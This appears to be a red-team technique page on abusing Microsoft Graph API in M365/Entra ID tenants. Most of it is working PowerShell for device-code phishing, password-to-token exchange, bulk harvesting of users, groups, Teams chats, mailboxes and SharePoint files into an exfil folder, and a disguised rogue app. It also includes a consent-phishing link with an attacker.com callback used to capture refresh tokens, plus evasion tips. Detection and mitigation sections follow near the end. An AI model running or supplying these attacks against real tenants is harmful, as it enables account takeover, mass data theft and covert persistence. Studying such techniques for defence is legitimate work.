| Attribute | Details |
|---|---|
| Technique ID | COLLECT-GRAPH-001 |
| MITRE ATT&CK v18.1 | T1087.004 - Cloud Account |
| Tactic | Discovery / Collection |
| Platforms | M365 / Entra ID / Azure Cloud |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All M365 versions, Graph API v1.0/beta, Entra ID all versions |
| Patched In | Partial (CVE-2025-55241 patched November 2025, but legacy endpoints still exploitable) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Graph API is the unified gateway to M365, Azure, and Entra ID data. Attackers with valid OAuth tokens (via device code phishing, compromised credentials, or OAuth consent grants) can enumerate and extract vast amounts of sensitive data: user directories, group memberships, organizational structure, Teams conversations, SharePoint files, calendar events, and mailbox contents. The Graph API accepts requests from any authenticated principal (user, service principal, or app registration), and many orgs lack visibility into which applications access Graph endpoints. Sophisticated attackers exploit undocumented or legacy Graph API endpoints to avoid audit logging (e.g., Azure AD Graph API vulnerabilities like CVE-2025-55241).
https://graph.microsoft.com/v1.0/* and https://graph.microsoft.com/beta/* endpoints for:
/me/users – User enumeration and account harvesting/me/messages – Mailbox content extraction/teams/*/channels/*/messages – Teams conversation extraction/me/drive/items – OneDrive/SharePoint file enumeration and download/applications – SaaS application inventory discovery/me/memberOf (Azure AD Graph) – Group membership extraction without audit logsBusiness Impact: Complete organizational intelligence theft, credential harvesting, regulatory data breach (HIPAA, GDPR, FINRA), and persistent backdoor establishment via service principal or OAuth app creation. Attackers can extract employee directories, client lists, contract contents, and strategic plans within minutes of obtaining a single user token.
GraphAPIRequest, severity depends on delegated scopes). Many orgs disable audit for Graph API to reduce log volume, reducing visibility to near zero.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1 | Entra ID OAuth app consent controls must restrict which apps can access Graph API; missing controls enable unauthorized data access |
| DISA STIG | V-225345 | Audit logging for Graph API must be enabled and retained for 365+ days |
| CISA SCuBA | MS.MICROSOFT365.1 | Cloud application audit logs must capture all Graph API requests and data access |
| NIST 800-53 | AC-3 (Access Control), AU-2 (Audit), SI-4 (Information System Monitoring) | Implement delegated permission scope restrictions; audit all API access |
| GDPR | Art. 32 (Security of Processing), Art. 33 (Breach Notification) | Unauthorized Graph API access to personal data is a breach; notify affected individuals within 72 hours |
| DORA | Art. 9 (Protection and Prevention) | Financial institutions must monitor for unauthorized Graph API calls on sensitive financial data (trading, credit decisions) |
| NIS2 | Art. 21 (Cyber Risk Management) | Critical infrastructure operators must implement access controls on API endpoints to prevent data harvesting |
| ISO 27001 | A.9.1.1 (Access Control Policy), A.12.4.1 (Event Logging) | Implement least-privilege API access; retain audit logs for 2+ years |
| ISO 27005 | Risk Scenario: “Unauthorized API Access to Sensitive Data” | Assess likelihood of compromised OAuth tokens; implement compensating controls (IP restrictions, anomaly detection) |
User.Read.All, Mail.Read, Files.Read.All scopes granted by adminhttps://graph.microsoft.com (HTTPS 443)User.Read.All, Mail.Read, Files.Read.All, Group.Read.All, ChatMessage.ReadSupported Versions:
Tools:
# Check if current user has Graph API access
$Token = (Get-AzureADCurrentSessionInfo).TenantId
Test-MgCommandPrerequisite -Scope "https://graph.microsoft.com/.default" -ErrorAction SilentlyContinue
# Test Graph API connectivity
$Headers = @{ Authorization = "Bearer $(Get-MgToken)" }
Invoke-RestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
What to Look For:
/me endpoint returns user object → Graph API is accessible from this network/IPVersion Note: Graph API availability varies by region (China uses https://microsoftgraph.chinacloudapi.cn, sovereign clouds use specific endpoints).
Command (Server 2016-2019):
# Legacy check using Azure AD module
Import-Module AzureAD
Get-AzureADCurrentSessionInfo | Select-Object TenantId, UserType, UserObjectId
Command (Server 2022+):
# Modern Microsoft Graph check
Get-MgContext | Select-Object TenantId, AuthType, Scopes
# Test Graph API connectivity from Linux/Mac
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/me"
# Check token expiration
jwt_decode() { python3 -c "import sys, json, base64; print(json.dumps(json.loads(base64.b64decode(sys.argv[1]+'='*(4-len(sys.argv[1])%4)), errors='ignore'), indent=2))" "$1"; }
jwt_decode "${GRAPH_TOKEN#*.}"
What to Look For:
"exp" claim timestamp in future → Token is still valid"scopes" array lists permissions available → Can access /me/messages, /me/drive, etc.Supported Versions: All M365 versions, Entra ID all versions
Objective: Trick user into authenticating via device code, obtaining OAuth token without collecting plaintext password.
Version Note: Device Code Flow is designed for IoT devices but can be abused for phishing. Microsoft’s detection is weak because the flow is legitimate. All versions equally vulnerable.
Command:
# Request device code
$ClientId = "d3590ed6-52b3-4102-aedd-a47eb6f3444c" # Teams Desktop Client ID (publicly known)
$TenantId = "common" # Multi-tenant authority
$Scope = "https://graph.microsoft.com/.default"
$DeviceCodeRequest = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/devicecode" `
-ContentType "application/x-www-form-urlencoded" `
-Body @{ client_id = $ClientId; scope = $Scope }
Write-Host "🔐 Verification Code: $($DeviceCodeRequest.user_code)"
Write-Host "📱 User must visit: $($DeviceCodeRequest.verification_uri)"
# Poll for token (blocking loop)
$TokenRequest = @{
client_id = $ClientId
grant_type = "urn:ietf:params:oauth:grant-type:device_flow"
device_code = $DeviceCodeRequest.device_code
}
$AccessToken = $null
$StartTime = Get-Date
while (-not $AccessToken -and ((Get-Date) - $StartTime).TotalSeconds -lt 900) { # 15-minute timeout
try {
$Response = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
-ContentType "application/x-www-form-urlencoded" `
-Body $TokenRequest `
-ErrorAction SilentlyContinue
if ($Response.access_token) {
$AccessToken = $Response.access_token
Write-Host "✅ Token obtained successfully!"
}
} catch {
Start-Sleep -Seconds 5
}
}
Command (Server 2016-2019):
# Legacy approach using System.Net.ServicePointManager for TLS 1.2 compatibility
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$DeviceCodeRequest = Invoke-WebRequest -Method POST `
-Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" `
-Body @{ client_id = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"; scope = "https://graph.microsoft.com/.default" } `
-UseBasicParsing
Command (Server 2022+):
# Modern approach with enhanced error handling
$Response = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" `
-ContentType "application/x-www-form-urlencoded" `
-Body @{ client_id = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"; scope = "https://graph.microsoft.com/.default" } `
-StatusCodeVariable "HttpStatus" `
-ErrorAction Stop
if ($HttpStatus -eq 200) { Write-Host "✅ Device code generated" }
Expected Output:
🔐 Verification Code: ABCD1234
📱 User must visit: https://microsoft.com/devicelogin
✅ Token obtained successfully!
What This Means:
https://microsoft.com/devicelogin and enters code/oauth2/v2.0/token endpoint returns access tokenOpSec & Evasion:
Troubleshooting:
Invalid_grant - Device flow authorization request is expired
AADSTS50076 - Due to a change made by your administrator, you must use multi-factor authentication
References & Proofs:
Objective: Extract complete user directory (names, emails, IDs, licenses, phone numbers).
Version Note: The /me/users endpoint is available on all Graph API versions. No scopes required if user has delegated permissions; service principals require User.Read.All.
Command:
# Enumerate all users
$Headers = @{
Authorization = "Bearer $AccessToken"
"Content-Type" = "application/json"
}
$AllUsers = @()
$Uri = "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,displayName,mail,mobilePhone,jobTitle,department,officeLocation,creationType"
do {
$Response = Invoke-RestMethod -Method GET -Uri $Uri -Headers $Headers
$AllUsers += $Response.value
$Uri = $Response.'@odata.nextLink'
} while ($Uri)
# Export to CSV
$AllUsers | Export-Csv -Path "C:\Exfil\users.csv" -NoTypeInformation
Write-Host "Enumerated $($AllUsers.Count) users"
Command (Server 2016-2019):
# Legacy pagination using $skip and $top (v1.0 limitation on earlier PowerShell)
$Skip = 0
$Top = 100 # Max 100 results per page
$AllUsers = @()
do {
$Response = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/users?`$skip=$Skip&`$top=$Top" `
-Headers $Headers
$AllUsers += $Response.value
$Skip += $Top
if ($Response.value.Count -lt $Top) { break }
} while ($true)
Command (Server 2022+):
# Modern batch request for faster enumeration
$BatchRequests = @{
requests = @(
@{ id = 1; method = "GET"; url = "/users?`$select=id,userPrincipalName" },
@{ id = 2; method = "GET"; url = "/groups?`$select=id,displayName" },
@{ id = 3; method = "GET"; url = "/applications?`$select=id,displayName,appId" }
)
}
$BatchResponse = Invoke-RestMethod -Method POST `
-Uri "https://graph.microsoft.com/v1.0/`$batch" `
-Headers $Headers `
-Body ($BatchRequests | ConvertTo-Json)
$BatchResponse.responses | ForEach-Object { $_.body.value }
Expected Output:
id userPrincipalName displayName mail mobilePhone jobTitle department
-- ----------------- ----------- ---- ----------- -------- ----------
a1b2c3d4-e5f6-7890-abcd-ef1234567890 john.smith@target.com John Smith john.smith@target.com 555-0123 Senior Manager Finance
b2c3d4e5-f6a7-b890-cdef-123456789012 jane.doe@target.com Jane Doe jane.doe@target.com 555-0124 Director Operations
c3d4e5f6-a7b8-c901-def0-234567890123 admin@target.com Admin User admin@target.com 555-0125 Global Admin IT Security
What This Means:
creationType field shows which users are synced from on-premises AD (hybrid environments)OpSec & Evasion:
User.Read.All scope in audit logs is suspiciousTroubleshooting:
Authorization_RequestDenied - Insufficient privileges to complete the operation
User.Read.All or Directory.Read.AllReferences & Proofs:
Objective: Identify high-value targets: admin groups, finance teams, legal departments, executive assistants.
Version Note: Groups API is available on all versions. Beta endpoint /groups/{id}/owners provides unfiltered owner lists without audit logging.
Command:
# Enumerate all groups
$Groups = @()
$Uri = "https://graph.microsoft.com/v1.0/groups?`$select=id,displayName,description,mail,createdDateTime,groupTypes,visibility"
do {
$Response = Invoke-RestMethod -Method GET -Uri $Uri -Headers $Headers
$Groups += $Response.value
$Uri = $Response.'@odata.nextLink'
} while ($Uri)
# For each group, enumerate members
$Groups | ForEach-Object {
$GroupId = $_.id
$GroupName = $_.displayName
$Members = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/groups/$GroupId/members?`$select=id,userPrincipalName,displayName" `
-Headers $Headers
$Members.value | ForEach-Object {
[PSCustomObject]@{
Group = $GroupName
Member = $_.userPrincipalName
DisplayName = $_.displayName
}
}
} | Export-Csv -Path "C:\Exfil\group_memberships.csv" -NoTypeInformation
Expected Output:
Group Member DisplayName
----- ------ -----------
Global Admins admin@target.com Admin User
Finance Team jane.doe@target.com Jane Doe
Finance Team john.smith@target.com John Smith
Legal Department sarah.jones@target.com Sarah Jones
Board of Directors ceo@target.com CEO User
What This Means:
OpSec & Evasion:
Troubleshooting:
Resource 'groups/{GroupId}' does not exist
References & Proofs:
Objective: Access private mailboxes, Teams conversations, calendar meetings, and OneDrive files.
Version Note: Requires Mail.Read scope; Teams chat extraction requires Chat.Read or Mail.Read scope. Beta endpoint /me/chats may bypass audit logging in some versions.
Command:
# Extract Teams chats (newer message format)
$Chats = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/me/chats?`$select=id,topic,createdDateTime,members" `
-Headers $Headers
$Chats.value | ForEach-Object {
$ChatId = $_.id
$ChatTopic = $_.topic
$Messages = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/chats/$ChatId/messages?`$select=id,from,body,createdDateTime" `
-Headers $Headers
$Messages.value | ForEach-Object {
[PSCustomObject]@{
Chat = $ChatTopic
From = $_.from.user.userPrincipalName
Body = $_.body.content
CreatedDateTime = $_.createdDateTime
}
}
} | Export-Csv -Path "C:\Exfil\teams_chats.csv" -NoTypeInformation
# Extract mailbox messages
$Inbox = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?`$top=999&`$select=id,sender,subject,receivedDateTime,bodyPreview" `
-Headers $Headers
$Inbox.value | Export-Csv -Path "C:\Exfil\mailbox.csv" -NoTypeInformation
Expected Output:
Chat From Body CreatedDateTime
---- ---- ---- ---------------
Executive Board ceo@target.com Approved Q1 acquisition strategy 2025-12-15T10:30:00Z
Finance Review cfo@target.com Confidential revenue: $50M YoY growth 2025-12-15T11:00:00Z
Strategy Meeting ceo@target.com Bidding $200M for XYZ Corp 2025-12-15T11:30:00Z
What This Means:
OpSec & Evasion:
Mail.Read scope generates persistent audit trailTroubleshooting:
Authorization_RequestDenied - Insufficient privileges for Chat.Read
References & Proofs:
Supported Versions: All M365 versions, Entra ID all versions
Objective: Use harvested user password to obtain OAuth token via Resource Owner Password Credentials (ROPC) flow.
Version Note: ROPC is disabled by default on modern tenants but still available on legacy implementations (pre-2019). Many orgs disable MFA only for service accounts, making ROPC viable.
Command:
# ROPC Flow: Direct password exchange for token
$ClientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI (publicly known)
$Username = "user@target.onmicrosoft.com"
$Password = "P@ssw0rd123!"
$TenantId = "target.onmicrosoft.com"
$TokenRequest = @{
grant_type = "password"
client_id = $ClientId
username = $Username
password = $Password
scope = "https://graph.microsoft.com/.default"
}
try {
$Response = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
-ContentType "application/x-www-form-urlencoded" `
-Body $TokenRequest
$AccessToken = $Response.access_token
Write-Host "✅ Authentication successful"
} catch {
Write-Host "❌ Authentication failed: $($_.Exception.Message)"
# Common reasons: MFA enabled, ROPC disabled, incorrect credentials
}
Command (Server 2016-2019):
# Legacy ROPC with Azure AD module
Import-Module AzureAD
$Cred = New-Object System.Management.Automation.PSCredential("user@target.onmicrosoft.com", (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force))
Connect-AzureAD -Credential $Cred | Out-Null
$AccessToken = (Get-AzureADAuthorizationToken -TokenCache (Get-AzureADTenantDetail).ObjectId).Token
Command (Server 2022+):
# Modern approach with Microsoft Graph SDK (ROPC deprecated, but still works on legacy tenants)
$SecurePassword = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("user@target.onmicrosoft.com", $SecurePassword)
Connect-MgGraph -Credential $Credential -Scopes "User.Read.All", "Mail.Read.All" -NoWelcome
Expected Output:
✅ Authentication successful
What This Means:
OpSec & Evasion:
Troubleshooting:
AADSTS50058 - Silent sign-in request failed. The user needs to sign in with a new interactive method
References & Proofs:
Objective: Enumerate all SharePoint sites and OneDrive drives, then download sensitive documents.
Version Note: SharePoint enumeration requires Files.Read.All or Sites.Read.All scope. OneDrive extraction via /me/drive/items is available with delegated permissions.
Command:
# Find all accessible SharePoint sites
$Sites = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/sites?`$select=id,displayName,webUrl" `
-Headers $Headers
# For each site, enumerate drives (document libraries)
$Sites.value | ForEach-Object {
$SiteId = $_.id
$SiteName = $_.displayName
$Drives = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/sites/$SiteId/drives?`$select=id,name,createdDateTime" `
-Headers $Headers
# Enumerate files in each drive
$Drives.value | ForEach-Object {
$DriveId = $_.id
$DriveName = $_.name
$Items = Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/drives/$DriveId/root/children?`$select=id,name,size,createdDateTime,@microsoft.graph.downloadUrl" `
-Headers $Headers
$Items.value | Where-Object { $_.'@microsoft.graph.downloadUrl' } | ForEach-Object {
$FileName = $_.name
$DownloadUrl = $_.'@microsoft.graph.downloadUrl'
$FileSize = $_.size
# Download file
Write-Host "Downloading: $FileName ($FileSize bytes)"
Invoke-WebRequest -Uri $DownloadUrl -OutFile "C:\Exfil\$FileName"
}
}
}
Expected Output:
Downloading: Q1_Financial_Forecast.xlsx (256 KB)
Downloading: Acquisition_Targets_Confidential.docx (512 KB)
Downloading: Employee_Salary_Database.xlsx (1 MB)
What This Means:
OpSec & Evasion:
$select to limit data returned; avoid requesting full file content in API responseTroubleshooting:
Resource 'drives/{DriveId}' does not exist
References & Proofs:
Supported Versions: All M365 versions, Entra ID all versions, modern OAuth 2.0
Objective: Create OAuth app registration requesting dangerous scopes (User.Read.All, Mail.Read, Files.Read.All), then trick admin into granting consent.
Version Note: Rogue app registration does not require admin approval if delegated to user-only scopes. Admin consent required for application-only (scopes ending in .All). However, many orgs have “Require admin consent” disabled for user apps.
Command (Using Azure Portal / Graph API):
# Create app registration via Graph API
$AppCreateRequest = @{
displayName = "Microsoft OneDrive Sync Service" # Legitimate-sounding name
description = "Synchronizes OneDrive files for offline access"
signInAudience = "AzureADandPersonalMicrosoftAccount"
requiredResourceAccess = @(
@{
resourceAppId = "00000002-0000-0000-c000-000000000000" # Graph API ID
resourceAccess = @(
@{ id = "62a82d76-70ea-41e2-8547-2eca78ec6216"; type = "Scope" }, # User.Read.All
@{ id = "9d431ebc-4e7a-5995-201d-757201f90461"; type = "Scope" } # Mail.Read
)
}
)
}
$AppReg = Invoke-RestMethod -Method POST `
-Uri "https://graph.microsoft.com/v1.0/applications" `
-Headers $Headers `
-Body ($AppCreateRequest | ConvertTo-Json) `
-ContentType "application/json"
$AppId = $AppReg.appId
Write-Host "✅ App Created: $AppId"
# Create service principal for the app
$ServicePrincipalRequest = @{ appId = $AppId }
$ServicePrincipal = Invoke-RestMethod -Method POST `
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals" `
-Headers $Headers `
-Body ($ServicePrincipalRequest | ConvertTo-Json) `
-ContentType "application/json"
Write-Host "✅ Service Principal Created: $($ServicePrincipal.id)"
Expected Output:
✅ App Created: d1234567-89ab-cdef-0123-456789abcdef
✅ Service Principal Created: a9876543-2109-fedc-ba98-765432109876
What This Means:
OpSec & Evasion:
Objective: Send admin link that triggers OAuth consent screen for the malicious app.
Version Note: Consent screen phishing is highly effective because it appears to be legitimate Microsoft UI.
Command:
# Generate consent URL
$ClientId = "d1234567-89ab-cdef-0123-456789abcdef" # Malicious app ID
$RedirectUri = "https://attacker.com/auth/callback" # Attacker's callback server
$TenantId = "target.onmicrosoft.com"
$Scopes = "User.Read.All Mail.Read Files.Read.All offline_access"
$ConsentUrl = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/authorize?" + `
"client_id=$ClientId&" + `
"redirect_uri=$([System.Web.HttpUtility]::UrlEncode($RedirectUri))&" + `
"scope=$([System.Web.HttpUtility]::UrlEncode($Scopes))&" + `
"response_type=code&" + `
"response_mode=query&" + `
"prompt=admin_consent"
Write-Host "🔗 Send this link to admin:"
Write-Host $ConsentUrl
Expected Output:
🔗 Send this link to admin:
https://login.microsoftonline.com/target.onmicrosoft.com/oauth2/v2.0/authorize?client_id=d1234567-89ab-cdef-0123-456789abcdef&redirect_uri=https%3A%2F%2Fattacker.com%2Fauth%2Fcallback&scope=User.Read.All%20Mail.Read%20Files.Read.All%20offline_access&response_type=code&response_mode=query&prompt=admin_consent
What This Means:
OpSec & Evasion:
Objective: Convert authorization code to long-lived refresh token, enabling persistent API access.
Command:
# When admin grants consent, authorization code is returned
$AuthorizationCode = "M.R3_BAY...YAALMVBAALNAAALMVBAALNAAALMVBAALNAAALMVBAALNAAALMVBAALNAAA" # Received from redirect URI
# Exchange code for tokens
$TokenRequest = @{
client_id = "d1234567-89ab-cdef-0123-456789abcdef"
client_secret = "xYz~1234567890abcDEFghijKLMnopqrSTUvwxyz" # App secret from portal
code = $AuthorizationCode
redirect_uri = "https://attacker.com/auth/callback"
grant_type = "authorization_code"
scope = "User.Read.All Mail.Read Files.Read.All offline_access"
}
$Response = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/target.onmicrosoft.com/oauth2/v2.0/token" `
-ContentType "application/x-www-form-urlencoded" `
-Body $TokenRequest
$RefreshToken = $Response.refresh_token
$AccessToken = $Response.access_token
Write-Host "✅ Refresh Token Obtained (valid for 6+ months)"
Write-Host "Token: $($RefreshToken.Substring(0, 50))..."
Expected Output:
✅ Refresh Token Obtained (valid for 6+ months)
Token: M.R3_BAY...YAALMVBAALNAAALMVBAALNAAALMVBAALNAAA...
What This Means:
OpSec & Evasion:
References & Proofs:
GraphAPIRequest (user enumeration)User.Read.All scope granted to unknown appusers.csv, groups.csv, teams_chats.csv, mailbox.csv, group_memberships.csvC:\Exfil\ or C:\Temp\ foldershttps://graph.microsoft.com/v1.0/* endpointsSet-ExecutionPolicy -ExecutionPolicy BypassC:\Users\[User]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtlogin.microsoftonline.com/ and consent screens# Disable compromised user account
Set-AzureADUser -ObjectId "user@tenant.onmicrosoft.com" -AccountEnabled $false
# Revoke all refresh tokens for the user
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "user@tenant.onmicrosoft.com").ObjectId
Manual (Azure Portal):
# Export Unified Audit Log for the time period
$StartDate = (Get-Date).AddHours(-24)
$EndDate = Get-Date
Search-UnifiedAuditLog -UserIds "user@tenant.onmicrosoft.com" -StartDate $StartDate -EndDate $EndDate -ResultSize 5000 | Export-Csv -Path "C:\Evidence\audit_log.csv"
# Export rogue app details
Get-AzureADApplication -Filter "displayName eq 'Microsoft OneDrive Sync Service'" | Export-Csv -Path "C:\Evidence\rogue_app.csv"
# Remove rogue app registration
Remove-AzureADApplication -ObjectId (Get-AzureADApplication -Filter "displayName eq 'Microsoft OneDrive Sync Service'").ObjectId -Force
# Reset user password
Set-AzureADUserPassword -ObjectId "user@tenant.onmicrosoft.com" -Password (ConvertTo-SecureString "NewP@ssw0rd1234!" -AsPlainText -Force) -EnforceChangePasswordPolicy $true
Enforce MFA for All Users (Including Service Accounts): Blocks device code phishing and password spray attacks against user accounts.
Manual Steps (Azure Portal):
Require MFA for All UsersDisable Resource Owner Password Credentials (ROPC) Flow: Blocks automated password attacks and reduces credential harvesting risk.
Manual Steps (Azure Portal):
Restrict OAuth App Registration & Admin Consent: Prevents malicious app registration and consent grant phishing.
Manual Steps (Azure Portal):
Monitor Graph API Calls for Suspicious Patterns: Detect bulk enumeration, unusual scope usage, and unauthorized API access.
Manual Steps (Microsoft Sentinel / SIEM):
AuditLogs | where OperationName contains "GraphAPI" and Properties contains "User.Read.All"Require Conditional Access for Graph API Calls: Enforce device compliance and location restrictions for API access.
Manual Steps (Azure Portal):
Restrict Graph API to Compliant DevicesEnable Audit Logging for All Graph API Calls: Ensure complete visibility into API access for forensic analysis.
Manual Steps (Microsoft Purview):
# Verify mitigations are active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
Get-MgPolicyStsAuthorizationPolicy | Select-Object AllowedToSignUpEmailBasedSubscriptions, AllowUserConsentForRiskyApps
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Device code phishing to harvest OAuth tokens |
| 2 | Collection | [COLLECT-GRAPH-001] | Graph API enumeration and data extraction (THIS TECHNIQUE) |
| 3 | Impact | IMPACT-EXFIL-001 | Exfiltrate enumerated users, emails, documents |
| 4 | Persistence | PERSIST-OAUTH-001 | Maintain access via OAuth refresh tokens and service principals |